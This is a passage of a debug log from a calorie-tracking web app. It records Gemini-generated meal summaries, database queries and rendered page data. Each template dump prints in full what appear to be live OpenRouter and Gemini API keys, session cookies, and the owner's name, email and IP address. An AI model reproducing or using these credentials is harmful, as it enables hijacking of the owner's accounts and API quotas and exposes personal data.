  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-23T04:41:33.050Z server-connect:app Executing action step processWithGemini
2025-12-23T04:41:33.050Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-23T04:41:34.426Z server-connect:output health_summary: {
  summary: "Today's nutrition appears to be quite limited, with only one item logged. This single item does not provide a balanced profile of macronutrients essential for muscle development and fat loss. The lack of diverse food sources raises concerns about overall nutrient intake and recovery support. Consistency in training is positive, but the nutritional aspect needs significant attention to align with your goals.",
  rating: 2,
  good_points: [ 'Consistent gym attendance is maintained.' ],
  bad_points: [
    'Extremely limited food intake logged for the day.',
    'Lack of diverse food sources to support muscle development.',
    'Inadequate protein intake is likely.',
    'No information on meal timing or hydration.'
  ],
  suggestions: [
    'Incorporate a variety of protein sources throughout the day.',
    'Ensure meals are balanced with complex carbohydrates and healthy fats.',
    'Focus on consuming nutrient-dense foods.',
    'Plan meals to support early morning workouts and recovery.'
  ],
  predicted_weight_trend: 'slight loss',
  predicted_weight: 70
}
2025-12-23T04:41:34.426Z server-connect:app Executing action step condition
2025-12-23T04:41:34.426Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-23T04:41:34.426Z server-connect:app Executing action step delete
2025-12-23T04:41:34.426Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-23T04:41:34.428Z server-connect:output delete: { affected: 0 }
2025-12-23T04:41:34.428Z server-connect:app Executing action step insert
2025-12-23T04:41:34.428Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-23T04:41:34.429Z server-connect:output insert: { affected: 1, identity: 56 }
2025-12-23T04:41:34.429Z server-connect:output condition: undefined
2025-12-23T04:41:34.635Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T04:41:34.635Z server-connect:app Executing action step identify
2025-12-23T04:41:34.635Z server-connect:app options: { provider: 'security' }
2025-12-23T04:41:34.635Z server-connect:output identity: 1
2025-12-23T04:41:34.635Z server-connect:app Executing action step restrict
2025-12-23T04:41:34.635Z server-connect:app options: { provider: 'security' }
2025-12-23T04:41:34.635Z server-connect:output restrict: undefined
2025-12-23T04:41:34.635Z server-connect:app Executing action step single
2025-12-23T04:41:34.635Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T04:41:34.636Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "Today's nutrition appears to be quite limited, with only one item logged. This single item does not provide a balanced profile of macronutrients essential for muscle development and fat loss. The lack of diverse food sources raises concerns about overall nutrient intake and recovery support. Consistency in training is positive, but the nutritional aspect needs significant attention to align with your goals.",
    bad_points: [
      'Extremely limited food intake logged for the day.',
      'Lack of diverse food sources to support muscle development.',
      'Inadequate protein intake is likely.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is maintained.' ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day.',
      'Ensure meals are balanced with complex carbohydrates and healthy fats.',
      'Focus on consuming nutrient-dense foods.',
      'Plan meals to support early morning workouts and recovery.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-22T18:30:00.000Z'
}
2025-12-23T04:42:12.638Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T04:42:12.638Z server-connect:app Executing action step identify
2025-12-23T04:42:12.638Z server-connect:app options: { provider: 'security' }
2025-12-23T04:42:12.638Z server-connect:output identity: 1
2025-12-23T04:42:12.638Z server-connect:app Executing action step restrict
2025-12-23T04:42:12.638Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T04:42:12.639Z server-connect:output restrict: undefined
2025-12-23T04:42:12.639Z server-connect:router Render template layouts/main
2025-12-23T04:42:12.639Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-23T05:09:57.245Z server-connect:app Executing action step identify
2025-12-23T05:09:57.245Z server-connect:app options: { provider: 'security' }
2025-12-23T05:09:57.245Z server-connect:output identity: 1
2025-12-23T05:10:00.080Z server-connect:app Executing action step identify
2025-12-23T05:10:00.080Z server-connect:app options: { provider: 'security' }
2025-12-23T05:10:00.080Z server-connect:output identity: 1
2025-12-23T05:20:45.232Z server-connect:app Executing action step identify
2025-12-23T05:20:45.232Z server-connect:app options: { provider: 'security' }
2025-12-23T05:20:45.232Z server-connect:output identity: 1
2025-12-23T05:20:47.074Z server-connect:app Executing action step identify
2025-12-23T05:20:47.074Z server-connect:app options: { provider: 'security' }
2025-12-23T05:20:47.074Z server-connect:output identity: 1
2025-12-23T05:36:16.238Z server-connect:app Executing action step identify
2025-12-23T05:36:16.238Z server-connect:app options: { provider: 'security' }
2025-12-23T05:36:16.238Z server-connect:output identity: 1
2025-12-23T05:36:19.106Z server-connect:app Executing action step identify
2025-12-23T05:36:19.106Z server-connect:app options: { provider: 'security' }
2025-12-23T05:36:19.106Z server-connect:output identity: 1
2025-12-23T05:59:03.247Z server-connect:app Executing action step identify
2025-12-23T05:59:03.247Z server-connect:app options: { provider: 'security' }
2025-12-23T05:59:03.248Z server-connect:output identity: 1
2025-12-23T05:59:05.189Z server-connect:app Executing action step identify
2025-12-23T05:59:05.189Z server-connect:app options: { provider: 'security' }
2025-12-23T05:59:05.189Z server-connect:output identity: 1
2025-12-23T06:10:45.976Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-23T06:10:45.976Z server-connect:app Executing action step identify
2025-12-23T06:10:45.976Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:45.976Z server-connect:output identity: 1
2025-12-23T06:10:45.976Z server-connect:app Executing action step restrict
2025-12-23T06:10:45.976Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T06:10:45.978Z server-connect:output restrict: undefined
2025-12-23T06:10:45.978Z server-connect:app Executing action step processWithGemini
2025-12-23T06:10:45.978Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-23T06:10:47.118Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.48,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
    }
  ],
  total_macros: { protein: 0.48, carbs: 0, fat: 0, unit: 'grams' }
}
2025-12-23T06:10:50.941Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-23T06:10:50.942Z server-connect:app Executing action step identify
2025-12-23T06:10:50.942Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:50.942Z server-connect:output identity: 1
2025-12-23T06:10:50.942Z server-connect:app Executing action step restrict
2025-12-23T06:10:50.942Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T06:10:50.942Z server-connect:output restrict: undefined
2025-12-23T06:10:50.942Z server-connect:app Executing action step condition
2025-12-23T06:10:50.942Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-23T06:10:50.942Z server-connect:app Executing action step repeat
2025-12-23T06:10:50.942Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-23T06:10:50.943Z server-connect:app Executing action step insert
2025-12-23T06:10:50.943Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-23T06:10:50.945Z server-connect:output calories: { affected: 1, identity: 494 }
2025-12-23T06:10:50.945Z server-connect:output repeat: [ {} ]
2025-12-23T06:10:50.945Z server-connect:output condition: undefined
2025-12-23T06:10:51.169Z server-connect:router Serving templateView /calorie-tracker
2025-12-23T06:10:51.169Z server-connect:app Executing action step identify
2025-12-23T06:10:51.169Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:51.169Z server-connect:output identity: 1
2025-12-23T06:10:51.170Z server-connect:app Executing action step restrict
2025-12-23T06:10:51.170Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T06:10:51.170Z server-connect:output restrict: undefined
2025-12-23T06:10:51.170Z server-connect:router Render template layouts/main
2025-12-23T06:10:51.170Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-23T06:10:51.409Z server-connect:app Executing action step identify
2025-12-23T06:10:51.409Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:51.409Z server-connect:output identity: 1
2025-12-23T06:10:52.705Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T06:10:52.705Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T06:10:52.705Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-23T06:10:52.706Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T06:10:52.708Z server-connect:app Executing action step identify
2025-12-23T06:10:52.708Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:52.709Z server-connect:output identity: 1
2025-12-23T06:10:52.709Z server-connect:app Executing action step restrict
2025-12-23T06:10:52.709Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T06:10:52.709Z server-connect:app Executing action step identify
2025-12-23T06:10:52.709Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:52.709Z server-connect:output identity: 1
2025-12-23T06:10:52.709Z server-connect:app Executing action step restrict
2025-12-23T06:10:52.709Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T06:10:52.709Z server-connect:app Executing action step identify
2025-12-23T06:10:52.709Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:52.709Z server-connect:output identity: 1
2025-12-23T06:10:52.709Z server-connect:app Executing action step restrict
2025-12-23T06:10:52.709Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T06:10:52.712Z server-connect:app Executing action step identify
2025-12-23T06:10:52.712Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:52.712Z server-connect:output identity: 1
2025-12-23T06:10:52.712Z server-connect:app Executing action step restrict
2025-12-23T06:10:52.712Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:52.712Z server-connect:output restrict: undefined
2025-12-23T06:10:52.712Z server-connect:app Executing action step single
2025-12-23T06:10:52.712Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T06:10:52.713Z server-connect:output restrict: undefined
2025-12-23T06:10:52.713Z server-connect:app Executing action step select
2025-12-23T06:10:52.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T06:10:52.713Z server-connect:output restrict: undefined
2025-12-23T06:10:52.713Z server-connect:app Executing action step single
2025-12-23T06:10:52.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T06:10:52.714Z server-connect:output restrict: undefined
2025-12-23T06:10:52.714Z server-connect:app Executing action step single
2025-12-23T06:10:52.714Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-23T06:10:52.715Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "Today's nutrition appears to be quite limited, with only one item logged. This single item does not provide a balanced profile of macronutrients essential for muscle development and fat loss. The lack of diverse food sources raises concerns about overall nutrient intake and recovery support. Consistency in training is positive, but the nutritional aspect needs significant attention to align with your goals.",
    bad_points: [
      'Extremely limited food intake logged for the day.',
      'Lack of diverse food sources to support muscle development.',
      'Inadequate protein intake is likely.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is maintained.' ],
    suggestions: [
      'Incorporate a variety of protein sources throughout the day.',
      'Ensure meals are balanced with complex carbohydrates and healthy fats.',
      'Focus on consuming nutrient-dense foods.',
      'Plan meals to support early morning workouts and recovery.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-22T18:30:00.000Z'
}
2025-12-23T06:10:52.715Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T06:10:52.717Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-23T06:10:52.717Z server-connect:app Executing action step select
2025-12-23T06:10:52.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-23T06:10:52.718Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
